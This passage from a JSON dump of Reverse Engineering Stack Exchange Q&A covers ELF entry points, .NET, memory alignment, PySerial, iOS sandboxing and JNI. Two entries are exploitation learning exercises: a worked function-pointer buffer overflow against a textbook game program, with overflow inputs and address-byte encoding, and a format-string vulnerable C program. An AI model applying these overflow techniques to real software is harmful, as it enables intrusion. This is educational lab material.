        "Answer": "<p>The file you provided is a stripped elf executable. A related question can be found <a href=\"https://stackoverflow.com/questions/9885545/how-to-find-the-main-functions-entry-point-of-elf-executable-file-without-any-s\">here</a>. The main issue is that a stripped elf file has no <em>main</em> symbol. Instead, the loader uses the <em>e_entry</em> header field, which points to the C libs initialization code. When the initialization is done, it will yield execution to the program.</p>\n\n<p>However, IDA is able to reconstruct the entry point by searching for this indirect jump.</p>\n\n<p>Have a look at the very start of the .text section, you will find these lines:</p>\n\n<pre><code> 8048637:   68 86 b7 04 08          push   $0x804b786\n 804863c:   e8 9f ff ff ff          call   80485e0 &lt;__libc_start_main@plt&gt;\n 8048641:   f4                      hlt \n</code></pre>\n\n<p>The value being pushed here right before the call to libc's start function is the actual entry point. I hope this helps.</p>\n"
    },
    {
        "Id": "14444",
        "CreationDate": "2017-01-19T10:03:46.397",
        "Body": "<p>I'm gathering that it's nearly a waste of time to try to reverse .NET applications in a native debugger. But why? Of course the computer is executing machine code in the end, not CIL. So what clutters the x86-64 code so much when running a .NET application? Is the general rule to use native debuggers on native code and tools like ILSpy on .NET?</p>\n",
        "Title": "What is the relationship between .NET and x86-64 assembly?",
        "Tags": "|debuggers|",
        "Answer": "<p>Microsoft .Net uses <a href=\"https://en.wikipedia.org/wiki/Common_Intermediate_Language\" rel=\"nofollow noreferrer\">CIL</a> (Common Intermediate Language). It is a - bytecode - assembly language for a virtual machine which is an abstract stack-based CPU - by abstract I mean not implemented in hardware.<br>\nTherefore, x86 gdb cannot make sense of the .Net bytecode given that all it knows is x86 assembly. \nBut, in general you can easily reverse a bytecode into source code (because the VM states are more deterministic than those of a hardware CPU) or debug it using and .Net virtual machine with debug capabilities (i.e. ILSpy). \nIf you want more info on debuggers/decompilers/... for .Net check out this <a href=\"http://scottge.net/2015/07/16/best-net-decompiler-tools/\" rel=\"nofollow noreferrer\">link</a>.\nAlso, if you debug with gdb, you're most likely to be debugging the VM assembly code rather than the .Net bytecode of the application. In other words, what you are seeing is the VM running bytecode, not the bytecode running. </p>\n"
    },
    {
        "Id": "14448",
        "CreationDate": "2017-01-19T19:55:30.577",
        "Body": "<p>My goal is to </p>\n\n<ol>\n<li>extract function names,</li>\n<li>the libraries they come from (if the functions were imported),</li>\n<li>function arguments, and</li>\n<li>strings</li>\n</ol>\n\n<p>from a .NET binary. How can I do this?\nIs this possible using tools like <a href=\"http://www.telerik.com/products/decompiler.aspx\" rel=\"nofollow noreferrer\">JustDecompile</a>\nor <a href=\"http://www.red-gate.com/products/dotnet-development/reflector/\" rel=\"nofollow noreferrer\">.NET Reflector</a>? Do they offer an API that allows to do this?</p>\n\n<p>I noticed IDA's Function Window is populated, but the Strings Window is not. In addition, I guess it would be easier (e.g. to get function arguments) to use a tool that does decompilation...</p>\n\n<p>PS:\nThe code is not obfuscated, it is not malware but regular software.</p>\n",
        "Title": "How to programatically extract function names, function arguments and strings from a .NET binary?",
        "Tags": "|windows|tools|.net|decompiler|",
        "Answer": "<p>A while back i wrote this cheapo dependency tool. It's on my GitHub. <a href=\"https://github.com/marshalcraft/CheapoDllDependencyTool?files=1\" rel=\"nofollow noreferrer\">https://github.com/marshalcraft/CheapoDllDependencyTool?files=1</a></p>\n"
    },
    {
        "Id": "14450",
        "CreationDate": "2017-01-19T21:26:55.293",
        "Body": "<p>I have this very simple piece of code:</p>\n\n<pre><code>// test.c\nint main(){\n  int a = 0;\n  char b[10];\n  int c = 0;\n\n  return 0;\n}\n</code></pre>\n\n<p>Compiled with gcc (6.2.1):</p>\n\n<pre><code>$ gcc -g -o test test.c\n</code></pre>\n\n<p>And analysed with gdb:</p>\n\n<pre><code>$ gdb -q test\n(gdb) break 6                (the return statement)\n(gdb) run\n(gdb) x &amp;a\n0x7fffffffecb8: 0x00000000\n(gdb) x b\n0x7fffffffecc0: 0x00000001\n(gdb) x &amp;c\n0x7fffffffecbc: 0x00000000\n</code></pre>\n\n<p>So you can clearly see that in memory, the variables are defined in this order: a, c, b.</p>\n\n<p>Is there a reason for that?</p>\n",
        "Title": "GCC change the order of variable declaration",
        "Tags": "|gdb|gcc|",
        "Answer": "<p>My best guess : memory alignment.</p>\n\n<p>An integer in <strong>C</strong> is 4 bytes and a char 1 byte. Therefore, your declarations go like this : 4B &amp; 1x10=10B &amp; 4B. This order means that the 10B won't be aligned on a power of two memory boundary without wasting space. Data accesses are faster on x86 machines when arrays are aligned on 16B/32B/64B - BTW 64B is the size of cacheline). </p>\n\n<p>Therefore, the compiler finds it more optimal to align the first two 4B variables 0x---ECCB8 &amp; 0x---ECBC (the difference is 4bytes). Then choose the closest aligned memory location 0x---ECC0 for the array (0x---ECC0 - 0x---ECBC = 4B); the zero at the end implies the address is dividable by a power of two. If you forget about the 7F... and convert ECC0 to base 10 you get 60608 which is dividable by 64, 32, 16, ... We can assume safely then that the compiler optimized the array placement to match a 64B memory alignment. </p>\n\n<p>You should read <a href=\"https://people.freebsd.org/~lstewart/articles/cpumemory.pdf\" rel=\"nofollow noreferrer\">Ulrich Drepper</a>'s document on memory and check Agner Fog's <a href=\"http://agner.org/optimize/\" rel=\"nofollow noreferrer\">Software Optimization Manuals</a>. Gold mines! </p>\n\n<p><strong>Addendum :</strong></p>\n\n<p>If you wish to play around with memory alignment I suggest that you check out how compiler perform data layout restructuring and padding of structures in <strong>C</strong>. Padding means that compilers add sometimes extra bytes to reach a power of two boundary. For example, imagine you have a code that contains the following   </p>\n\n<pre><code>    typedef struct { int x; int y; int z; } point3D;\n</code></pre>\n\n<p>This declaration contains three 4B variables = 12B, not a power of 2. The compiler will most likely add another 4B to align it with the closest power of 2 boundary : 16B. Therefore, after compilation your declaration will look like this :</p>\n\n<pre><code>    typedef struct {int x; int y; int z; char[4] padding; } point3D;\n</code></pre>\n\n<p>Now with regard to your comment, I'd suggest trying the following :</p>\n\n<pre><code>       #include &lt;stdio.h&gt;\n       #include &lt;emmintrin.h&gt; //Required for mm_malloc\n       #define ALIGN 64\n       int main(){\n       int *a = _mm_malloc(sizeof(int), ALIGN);\n       char b[10];\n       int *c = _mm_malloc(sizeof(int), ALIGN);\n\n       printf(\"a: %p\\nb: %p\\nc: %p, a, b, c);\n\n       return 0; }\n</code></pre>\n\n<p>There are many variants of <em>malloc</em> (and tricks with the normal <em>malloc</em>) which let you align your memory on the boundary you seem fit for your code.\nKeep in mind that you have two types of memory for a binary program : the <em>heap</em> which is manipulated using <em>malloc</em> type functions, and the stack, which is left to the compiler to handle (function parameters, register saving, local variables, ...). The only way you can control the stack usage and data alignment is by doing it yourself using assembly code or, if the compiler handles it, compiler directives and parameters. </p>\n\n<p>Your code allocates three local variables to <em>main</em>. Thefore, they'll be allocated in the stack, and given that your code goes through a compiler it will perform all necessary actions to align these variables using a heuristic analysis (optimistic predictive memory placement). If you compile the code provided above, you'll notice that the addresses aren't similar (heap vs. stack). 0x7FF---? for stack variables and 0x000---? for heap variables. You can play around with these functions and figure a lot of things for yourself. In doubt, refer to the documentation : Intel Software Optimization manual, Agner's, ...\nNext step if you want to understand things clearly is to delve into the OS memory allocation and paging scheme and the x86 architecture in order to understand better the requirement for alignment : cache line size, memory segmentation &amp; BSI (Base + Scale * Index; scale can only take the following values : 1, 2, 4, and 8).   </p>\n\n<p>I hope this addendum makes things clearer for you. </p>\n"
    },
    {
        "Id": "14458",
        "CreationDate": "2017-01-20T08:36:50.343",
        "Body": "<p>So I have a program which is highly obfuscated and generates a unique output every time. For ease of reversing I want to make it so that the output is the same for every run (following the logic that if the output is the same, the logic executed will be the same, roughly..)</p>\n\n<p>At one point <code>strace</code> shows that the program does a number of calls to <code>clock_gettime</code> just before it generates an id. So I created a kernel module that makes <code>clock_gettime</code> return exactly the same time. Yet the program is still able to produce a unique output.</p>\n\n<p>In my opinion all programs must make system calls to get unique entropy for seeding random functions and without making any system calls (or if all system calls they did make were made to return non-unique entropy) the program can't produce unique (random) data.</p>\n\n<p>Are there any ways I'm missing that the program can get unique entropy without showing up on <code>strace</code> (i.e. without making a system call)?</p>\n",
        "Title": "Removing randomness from program execution",
        "Tags": "|system-call|entropy|",
        "Answer": "<p>Generally speaking, yes, there are a lot of ways to generate entropy without system calls (this can be weak entropy, but anyway).</p>\n\n<p>Here is a small (but obviously not even close to pretend to be full) list:</p>\n\n<ul>\n<li>rdrand, rdseed instructions from intel random generator(btw, supported by AMD since 2015).</li>\n<li>rdtsc instruction - which gives you a tick count since power up</li>\n<li>uninitialized memory</li>\n<li>internal program addresses generated as a result of ASLR</li>\n</ul>\n"
    },
    {
        "Id": "14459",
        "CreationDate": "2017-01-20T08:56:16.277",
        "Body": "<p>In a nutshell:  I've sniffed the data that goes from the controlling PC to the modem via RS232 serial port by building a little Y-adapter, now I want to figure out how to reverse engineer that data so that I can have full access to the device. My approach is to do one operation at a time and look for a pattern in the incoming data.</p>\n\n<p>However, I have some problems with the code I received by using PySerial in Python. I hope you can help me. Here is an example for one single operation:</p>\n\n<p><code>b'_S\\xf0\\xfb\\x15\\xf5_S\\xf0S%\\xc5_S\\xf0\\x1bY\\xf7_S\\xf0\\xda\\xd1\\xf7_S\\xf0_=\\xf3'</code> (marked as byte string by the 'b')</p>\n\n<p>Or sorted as 'question' and 'answer': data sent by DTE (left) and DCE (right)</p>\n\n<pre><code>    DTE (PC)  DCE (modem)\n    _S\\xf0    \\xfb\\x15\\xf5 \n    _S\\xf0    S%\\xc5 \n    _S\\xf0    \\x1bY\\xf7 \n    _S\\xf0    \\xda\\xd1\\xf7 \n    _S\\xf0    _=\\xf3 \n</code></pre>\n\n<p>As you can see some of it is hexadecimal code (marked by the '/x')- some of it is not. I tried to understand it for quite some time now, but I'm still not sure if this is really the raw code or Python has to convert some of it to ASCII on order to be able to show it to me (like the '_S' letters).</p>\n\n<p>I need to know this because as a next step I want my Python script to act as the new controlling PC. For this I want to use the <code>serial.write</code>-command of PySerial. It seems that it doesn't work to just send the string I received. Maybe I made some other mistake but my question remains: is this the raw code the device sends and receives? Or do I have to convert it some other way?</p>\n\n<p>Thanks in advance.\nTobi</p>\n",
        "Title": "Handling of the communication data I received with PySerial (Python)",
        "Tags": "|python|serial-communication|",
        "Answer": "<p>I would just put this as a comment but I don't have enough rep yet.\nYes your correct, Python is showing some characters as their ASCII representations. The ones marked as hexadecimal are the characters that don't have a printable ASCII representation. Using that string as-is should work fine to send with <code>write</code>.</p>\n\n<p>EDIT: maybe I don't quite understand but if you want to mimic the controlling PC (or the modem for that matter) you only want to send half of the data you have sniffed to the other device (i.e the \"question\"s or DTE (whatever that means)). Sending all data sniffed to a single device would likely end in confusion.</p>\n\n<p>EDIT#2: From your comment, it seems as though you are unsure of how binary data (i.e. data consisting of mostly non-printable characters) can be represented in strings:</p>\n\n<pre><code>\"_\" == \"\\x5f\" # =&gt; True\n\"S\" == \"\\x53\" # =&gt; True\n# therefore:\nb'_S\\xf0' == '\\x5f\\x53\\xf0' # =&gt; True\n</code></pre>\n\n<p>Hexadecimal is merely another way of representing ASCII characters and is just for us humans. While it may look like its in two forms when printed, in memory its all just bytes. Its tricky to explain and its one of these things that you'll just eventually understand. I couldn't find a good tutorial on it unfortunately.</p>\n"
    },
    {
        "Id": "14485",
        "CreationDate": "2017-01-24T12:29:11.553",
        "Body": "<p>I find that on a jailbroken device I can access <code>/Applications/</code> in a normal app from app store, although I thought due to the <a href=\"http://iphonedevwiki.net/index.php/Seatbelt\" rel=\"nofollow noreferrer\">sandbox</a> I shouldn't.</p>\n\n<p>Maybe I should write an app to determine what sections of the filesystem are accessible and run it on a normal iPhone and a jailbroken one, to see if this is true.</p>\n\n<p>So my question is, will jailbreaking affect file system accessibility (bypassing the sandbox) for all apps?</p>\n",
        "Title": "Will jailbreaking affect file system accessibility for all apps?",
        "Tags": "|ios|",
        "Answer": "<p>Let me try to break down what you're asking.</p>\n\n<blockquote>\n  <p>I find when use a jailbreak device I can access  <code>/Applications/</code>.</p>\n</blockquote>\n\n<p>Yes, that's correct.  A jailbroken device can access an iOS device's root file system from a shell or any application (such as iFile).  As of iOS 8, the Applications directory has changed to <code>/var/mobile/Containers/Bundle/Application</code>.</p>\n\n<blockquote>\n  <p>But from <a href=\"http://iphonedevwiki.net/index.php/Seatbelt\" rel=\"nofollow noreferrer\">this</a>, I shouldn't?</p>\n</blockquote>\n\n<p>Well, not necessarily.  If the application is running as root (think iFile or Filza), you can have read and write access to any directory on the device.</p>\n\n<blockquote>\n  <p>Maybe I should write a App to scan the FileSystem on a normal iPhone and a jailbreak one.</p>\n</blockquote>\n\n<p>In theory, any application can ask to read or write a file to any directory.  This is frequently how jailbreak checks are done in production apps.  If the file manager does not return an error when trying to read from <code>/var/mobile</code>, then you know the application is being run as root on a jailbroken device.</p>\n"
    },
    {
        "Id": "14490",
        "CreationDate": "2017-01-24T20:13:17.657",
        "Body": "<p>I cannot get this buffer overflow exploit to work for the life of me. The source code is <a href=\"https://github.com/intere/hacking/blob/master/booksrc/game_of_chance.c\" rel=\"nofollow noreferrer\">here</a>. It is from the book, Hacking the Art of Exploitation. The subject here is the below struct:</p>\n\n<pre><code>struct user {\n   int uid;\n   int credits;\n   int highscore;\n   char name[100];\n   int (*current_game) ();\n};\n</code></pre>\n\n<p>The idea is to overflow name[100] such that the address provided <em>after</em> the 100 letter A's will <em>overwrite the address of the function pointer, entitled current_game</em>.</p>\n\n<p>However, please see the below gdb readout:</p>\n\n<pre><code>[Name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\ufffd\ufffd048e2c]\n56        printf(\"[You have %u credits] -&gt;  \", player.credits);\n(gdb) x/40x player.name\n0x804c08c &lt;player+12&gt;:    0x41414141  0x41414141  0x41414141  0x41414141\n0x804c09c &lt;player+28&gt;:    0x41414141  0x41414141  0x41414141  0x41414141\n0x804c0ac &lt;player+44&gt;:    0x41414141  0x41414141  0x41414141  0x41414141\n0x804c0bc &lt;player+60&gt;:    0x41414141  0x41414141  0x41414141  0x41414141\n0x804c0cc &lt;player+76&gt;:    0x41414141  0x41414141  0x41414141  0x41414141\n0x804c0dc &lt;player+92&gt;:    0x41414141  0x41414141  0x41414141  0x41414141\n0x804c0ec &lt;player+108&gt;:   0x41414141  0x080490bb  0x65383430  0x00006332\n0x804c0fc:  0x00000000  0x00000000  0x00000000  0x00000000\n0x804c10c:  0x00000000  0x00000000  0x00000000  0x00000000\n0x804c11c:  0x00000000  0x00000000  0x00000000  0x00000000\n(gdb) x/5x player.current_game\n0x80490bb &lt;pick_a_number&gt;:    0x83e58955  0xec8318ec  0x9d2e680c  0xa2e80804\n0x80490cb &lt;pick_a_number+16&gt;: 0x83fffff4\n(gdb) print 6*16\n$2 = 96\n</code></pre>\n\n<p>I've placed the address of another function into player.name as noted by the <code>[Name: A*100 ...</code> line. Below this, you can see the memory layout, how there are indeed 100 A's in memory. However, after the final A, we see that the next memory spot is <code>0x080490bb</code> and <em>has not</em> been overwritten, even though we see that the player.name buffer does indeed contain an overflow just prior. I've shown a printout of player.current_game afterwards to display that it is indeed at address <code>0x80490bb</code> which is what we see in the dump directly after the last 0x41414141. I am baffled here.</p>\n\n<h1>What I've Tried:</h1>\n\n<ol>\n<li>Disabled ASLR on my Fedora 25 by setting <code>/proc/sys/kernel/randomize_va_space</code> to 0.</li>\n<li>Enabled executable stack in gcc.</li>\n<li>Turned off the stack protection in gcc.</li>\n<li>Turned off PIE</li>\n<li>You can confirm with this command that I used to make the binary: <code>gcc  -z execstack game_of_chance.c -fno-stack-protector -no-pie -m32 -o goc</code></li>\n<li>I've tried writing the address in as \\x2c\\x8e\\x04\\08 AND just straight 0x08048e2c, neither work. This is the address of the function I'm trying to run.</li>\n<li>Observed that paddr and vaddr are the same throughout multiple executions of the program.</li>\n<li><p>Debugged in both gdb as you see, as well as Radare2. You can see my rabin2 printout for the file below:</p>\n\n<p>havecode true\npic      false\ncanary   false\nnx       false\ncrypto   false\nva       true\nintrp    /lib/ld-linux.so.2\nbintype  elf\nclass    ELF32\nlang     c\narch     x86\nbits     32\nmachine  Intel 80386\nos       linux\nminopsz  1\nmaxopsz  16\npcalign  0\nsubsys   linux\nendian   little\nstripped false\nstatic   false\nlinenum  true\nlsyms    true\nrelocs   true\nrpath    NONE\nbinsz    20471</p></li>\n</ol>\n\n<p>Thanks.</p>\n\n<h1>Update</h1>\n\n<p>I am able to successfully cause a segmentation fault with the chars (such as 'A' or 'B'), however, when I do the A*100 followed by 08048e2c memory address which I am trying to jump execution to, the segfault happens, but the player.current_game function pointer address (which is right after the player.name buffer as shown above) is oddly <code>[DEBUG] current_game pointer @ 0x34303830</code> rather than the address 08048e2c, which causes the segmentation fault since it can't execute 0x34303830. Additionally, I placed read/write watches on 0x804c0ec to see if I could find anything writing but was not successful in finding anything else.</p>\n",
        "Title": "Can't get buffer to overflow over function pointer",
        "Tags": "|linux|c|buffer-overflow|",
        "Answer": "<p>I'm sorry, but this certainly works for me. Lets go through this step by step, shall we?</p>\n<h1>1. Set up</h1>\n<p>I used your command line to compile the program:</p>\n<pre><code>gcc  -z execstack game_of_chance.c -fno-stack-protector -no-pie -m32 -o goc\n</code></pre>\n<p>I've done one small change though, I changed</p>\n<pre><code>#define DATAFILE &quot;/var/chance.data&quot; // File to store user data\n</code></pre>\n<p>to</p>\n<pre><code>#define DATAFILE &quot;chance.data&quot; // File to store user data\n</code></pre>\n<p>for some peace of mind.</p>\n<h1>2. Play the game!</h1>\n<p><a href=\"https://i.stack.imgur.com/jIRrv.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/jIRrv.png\" alt=\"lose :(\" /></a></p>\n<p>As you can see, I'm actually pretty bad at this. The only thing we need to remember is that we chose '1' at the game menu though.</p>\n<h1>3. Exploit it!</h1>\n<p>Lets start by changing our name to overwrite the pointer:</p>\n<blockquote>\n<p>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB</p>\n</blockquote>\n<p><a href=\"https://i.stack.imgur.com/bixTa.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/bixTa.png\" alt=\"SegFault\" /></a></p>\n<p>Something happened! Shoudln't that also work with just 4x BBBB at the end? Nope! But why? My best guess: stack alignment. Let's check this out.</p>\n<h1>4. Toying around</h1>\n<p>In game_of_choice.c I've changed</p>\n<pre><code>char name[100];\n</code></pre>\n<p>to</p>\n<pre><code>char name[128];\n</code></pre>\n<p>And tried the same with 128 times 'A':</p>\n<blockquote>\n<p>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB</p>\n</blockquote>\n<p>It works. So it seems your problem was stack alignment</p>\n<p>The standard value of -mpreferred-stack-boundary seems to be 4, meaning gcc is trying to create 16-byte aligned stack boundaries.</p>\n<h1>5. ASCII fun</h1>\n<p>The program is reading a string from the command line. What we want is to pass the address <code>0x08048e2c</code> in this string in a fashion is can be jumped too. The problem is that if we just write <code>08048e2c</code>, we are actually passing <code>0x3038303438653263</code> (<code>0</code> turns into <code>0x30</code>, <code>8</code> -&gt; <code>0x38</code>, and so on each digit is a one byte number) as a value to the program. So we need to pass the actual bytes that make up the address.</p>\n<p>When we pass <code>\\x2c\\x8e\\x04\\x08</code> in the string, we actually pass <code>0x5c7832635c7838655c7830345c3038</code>, because it is still interpreted as a sequence of characters which are translated to byte values one by one.</p>\n<p>When we have a look at any ASCII table, we notice that <code>\\x08</code> translates to the special backspace-character. We certainly can not include it in text.</p>\n<p>Using perl -e or echo -e, we let the corresponding program know it should look out for escape sequences when it receives a string. So they actually output the 'real' byte values.</p>\n<pre><code>echo -e '\\x2c\\x8e\\x04\\08'\n</code></pre>\n"
    },
    {
        "Id": "14503",
        "CreationDate": "2017-01-26T09:05:55.067",
        "Body": "<p>I'm trying to perform static analysis on Android framework code, and I'm coming across some Java methods that are calling JNI functions. How do I figure out which native libraries these functions reside in?</p>\n\n<p>Thanks.</p>\n",
        "Title": "How to figure out which library a native JNI function is calling?",
        "Tags": "|android|libraries|",
        "Answer": "<p>I haven't touched Android in almost a year but IIRC:</p>\n\n<p>All JNI libraries need to be loaded from Java side first e.g.</p>\n\n<pre><code>System.loadLibrary(\"hello-jni\");\n</code></pre>\n\n<p>which translates to <code>invoke-virtual</code> in compiled Java.</p>\n\n<p>Also, IDA Pro identifies fully qualified names in <code>.so</code>s it decompiles, so you will be able to figure out Java names for those JNI functions. See also <a href=\"http://www.hexblog.com/?p=809\" rel=\"nofollow noreferrer\">http://www.hexblog.com/?p=809</a>.</p>\n\n<p>This tool may also be of help, although it's rather old <a href=\"https://github.com/maaaaz/jnianalyzer\" rel=\"nofollow noreferrer\">https://github.com/maaaaz/jnianalyzer</a>.</p>\n"
    },
    {
        "Id": "14508",
        "CreationDate": "2017-01-27T05:25:11.807",
        "Body": "<p>I am unable to locate a variable on the stack. I'm using Fedora 25 x64 but with a 32 bit program, btw.</p>\n\n<p>C program:</p>\n\n<pre><code>#include &lt;stdlib.h&gt;\n#include &lt;unistd.h&gt;\n#include &lt;stdio.h&gt;\n#include &lt;string.h&gt;\n\nchar* text1 = \"AAAAAAAAAAAAA\";\nint target;\nchar* text2 = \"BBBBBBBBBBBBB\";\nvoid vuln(char *string)\n{\n\n  printf(string);\n\n  if(target) {\n      printf(\"you have modified the target :)\\n\");\n  }\n}\n\nint main(int argc, char **argv)\n{\n  vuln(argv[1]);\n  printf(\"Program name: %s\", argv[0]);\n}\n</code></pre>\n\n<p>/*After stepping into main and doing x/500wx $esp to examine the stack in gdb, here's a piece:</p>\n\n<pre><code>0xffffcc00: 0x00000000  0x00000000  0x00000000  0xf7fe0ca0\n0xffffcc10: 0xf7df12af  0xf7fd765f  0x00000000  0x00000000\n0xffffcc20: 0x00000000  0x00000000  0x00000000  0x0d696910\n0xffffcc30: 0x00000000  0x00000000  0xf7fe0b79  0xf7de1ef0\n0xffffcc40: 0x00000961  0xf7fd13d8  0x7c96f087  0xf7fe1399\n0xffffcc50: 0x00000001  0x00000004  0xf7deb534  0x00000961\n0xffffcc60: 0xf7deb604  0xf7fd13d8  0xffffccbc  0xffffccb8\n0xffffcc70: 0x00000003  0x00000000  0xf7ffcfcc  0xf7fd764c\n0xffffcc80: 0xf7deb534  0x7c96f087  0xf7deb604  0xf7de1f12\n0xffffcc90: 0x03e4b784  0xffffccb8  0xffffcd48  0x00000961\n0xffffcca0: 0x00000000  0x00000000  0x00000000  0x00000000\n0xffffccb0: 0x00000000  0x00000000  0x00000000  0x00000000\n(gdb) print &amp;text1\n$2 = (char **) 0x804a01c &lt;text1&gt;\n(gdb) print text1\n$3 = 0x8048544 'A' &lt;repeats 13 times&gt;\n(gdb) \n</code></pre>\n\n<p>As you can see, my text1 variable's address is in the <code>0x804</code> area, whereas my stack is in <code>0xffffcc</code> area which is why I am completely lost. You can probably see what I'm trying to do, but I'm trying to locate 0x414141's followed by the target, followed by 0x42424242's but there are no 41s or 42s anywhere in the stack area near esp. I am currently educating myself on format string vulnerabilities, but at this point, I can't even locate the variables on the stack. Is there something I'm missing? Thanks.</p>\n",
        "Title": "Cannot locate a variable on the stack",
        "Tags": "|strings|vulnerability-analysis|",
        "Answer": "<p>The reason the you are unable to locate <code>text1</code> on the program runtime stack is that during runtime <code>text1</code> is in the <code>data</code> segment of the process running in virtual memory, not the stack. In order for a reference to <code>text1</code> to be written to the stack <code>text1</code> must be passed as an argument to a function which is called.</p>\n\n<p>When a function is called and a new stack frame is created on the runtime stack for that function, memory is allocated on the stack for any local variables declared in that function as well.  However, <code>text1</code>, <code>text2</code> and <code>target</code> are global variables declared outside of any function. A direct consequence of this is that memory will not be allocated for  <code>text1</code>, <code>text2</code> and <code>target</code> on the stack. Instead, <code>text1</code> and <code>text2</code> will be in the process's <code>data</code> segment and <code>target</code> will be in the <code>bss</code> segment. In order to understand why, familiarity with the ELF and the <a href=\"https://refspecs.linuxbase.org/elf/gabi41.pdf\" rel=\"nofollow noreferrer\">System V Application Binary Interface</a> is essential.</p>\n\n<h3>x86 Linux Process Layout in Virtual Memory</h3>\n\n<p>For some context, here is a diagram of a process's layout in virtual memory on an x86 Linux system from Gustavo Duarte's article titled <a href=\"http://duartes.org/gustavo/blog/post/anatomy-of-a-program-in-memory/\" rel=\"nofollow noreferrer\">\"Anatomy of a Program in Memory\"</a>:</p>\n\n<p><a href=\"https://i.stack.imgur.com/2qAhx.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/2qAhx.png\" alt=\"Process Layout in Virtual Memory\"></a></p>\n\n<p>A look at this diagram will help clarify the significance of the memory addresses you are seeing. On an x86 Linux system, the stack is high in virtual memory and grows downward. This is why when the stack is examined one sees memory addresses such as <code>0xffffcc10</code> and <code>0xffffccb0</code>. The location in virtual memory of global variables <code>text1</code>, <code>text2</code> and <code>target</code> will be more proximate to the program entry point since the <code>data</code> and <code>bss</code> segments are adjacent to the <code>text</code> segment, which is low in memory. In light of this, a  memory address of <code>0x804a01c</code> for <code>text1</code> makes sense.</p>\n\n<h3>ELF and the System V ABI</h3>    \n\n<p>From Section 4 (Object Files) of the ABI:</p>\n\n<blockquote>\n  <p>An <em>executable file</em> holds a program suitable for execution; the file specifies how the function <code>exec</code> creates a program's process image.</p>\n</blockquote>\n\n<p>and</p>\n\n<blockquote>\n  <p>Created by an assembler and link editor, object files are binary representations of programs intended to execute directly on a processor.</p>\n</blockquote>\n\n<p>Once the program is compiled, assembled and linked, it is essentially a description of what it will look like as a process. This means that an executable binary can be statically analyzed to get an idea of how things will look when the program is running. When the binary constructed from the source code provided above is analyzed it is observed that the values <code>text1</code> and <code>text2</code> are in the <code>.rodata</code> section:</p>\n\n<pre><code>$ readelf -x .rodata &lt;ELF BINARY NAME&gt;\n\nHex dump of section '.rodata':\n  0x08048538 03000000 01000200 41414141 41414141 ........AAAAAAAA\n  0x08048548 41414141 41004242 42424242 42424242 AAAAA.BBBBBBBBBB\n  0x08048558 42424200 796f7520 68617665 206d6f64 BBB.you have mod\n  0x08048568 69666965 64207468 65207461 72676574 ified the target\n  0x08048578 203a2900 50726f67 72616d20 6e616d65  :).Program name\n  0x08048588 3a202573 00                         : %s.\n</code></pre>\n\n<p>According to the ABI (4-19), the <code>.rodata</code> section holds read-only data that typically contributes to a non-writable segment in the process image. Examples of non-writable process image segments are the <code>text</code> and <code>data</code> segments mentioned above. The implication of this is that <code>text1</code> and <code>text2</code> will be located near where the program instructions are, namely the <code>text</code> segment, when the program is loaded into memory. The instruction memory addresses will look much more similar to the memory addresses of <code>text1</code> and <code>text2</code> than memory addresses on the stack.</p>\n\n<p>The <code>target</code> variable is an uninitialized global variable, so its data will be held in the <code>bss</code> segment.</p>\n\n<h3>Arguments to Functions are Written to the Stack</h3> \n\n<p>If you want pointers to these variables to appear on the runtime stack they must be passed as arguments to a function that is called at some point throughout the course of process execution, as a function's arguments are typically written to the stack in the caller's argument build area, as seen in the diagram below. </p>\n\n<p>Stack layout with multiple frames (from <a href=\"http://csapp.cs.cmu.edu/2e/ics2/asm/frame.ppt\" rel=\"nofollow noreferrer\">CSAPP</a>):</p>\n\n<p><a href=\"https://i.stack.imgur.com/Lsjhw.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/Lsjhw.jpg\" alt=\"http://csapp.cs.cmu.edu/2e/ics2/asm/frame.ppt\"></a></p>\n\n<p>For example, instead of passing <code>argv[1]</code> as an argument to the <code>vuln</code> function, the global variable <code>text1</code> can be passed instead. A pointer to <code>text1</code> would then be saved on the stack prior to <code>vuln</code> being called.</p>\n\n<p>Alternatively, instead of hardcoding 'A' as a value for a global variable, you can pass an arbitrary number of 'A's (or any other ASCII characters) as an argument on the command line when executing your program in the shell. This will result in whatever values you pass being stored in <code>argv[1]</code> which is the argument to <code>vuln</code>.</p>\n\n<p>It should be noted that due to their global scope, <code>text1</code>, <code>text2</code> and <code>data</code> can be referenced in any function without being passed as an argument, but in the context of format string vulnerabilities and <code>printf</code>\nthat is not particularly useful to know.</p>\n\n<h3>For More Information</h3>\n\n<p>For more information on how <code>printf</code> behaves in a x86 Linux environment, one can take a look at the  answer to the following question on stackoverflow in which a user is calling <code>printf</code> in a non-standard fashion: <a href=\"https://stackoverflow.com/questions/41656201/elf32-binary-little-endian-or-not/41710748#41710748\">\"ELF32 binary, little endian or not?\"</a></p>\n\n<p>Section 3.7 (titled \"Procedures\") in \"Computer Systems: A Programmer's Perspective\" covers function calls and the stack on an assembly level and has several helpful diagrams.</p>\n"
    },
    {
        "Id": "14523",
        "CreationDate": "2017-01-29T16:48:35.830",
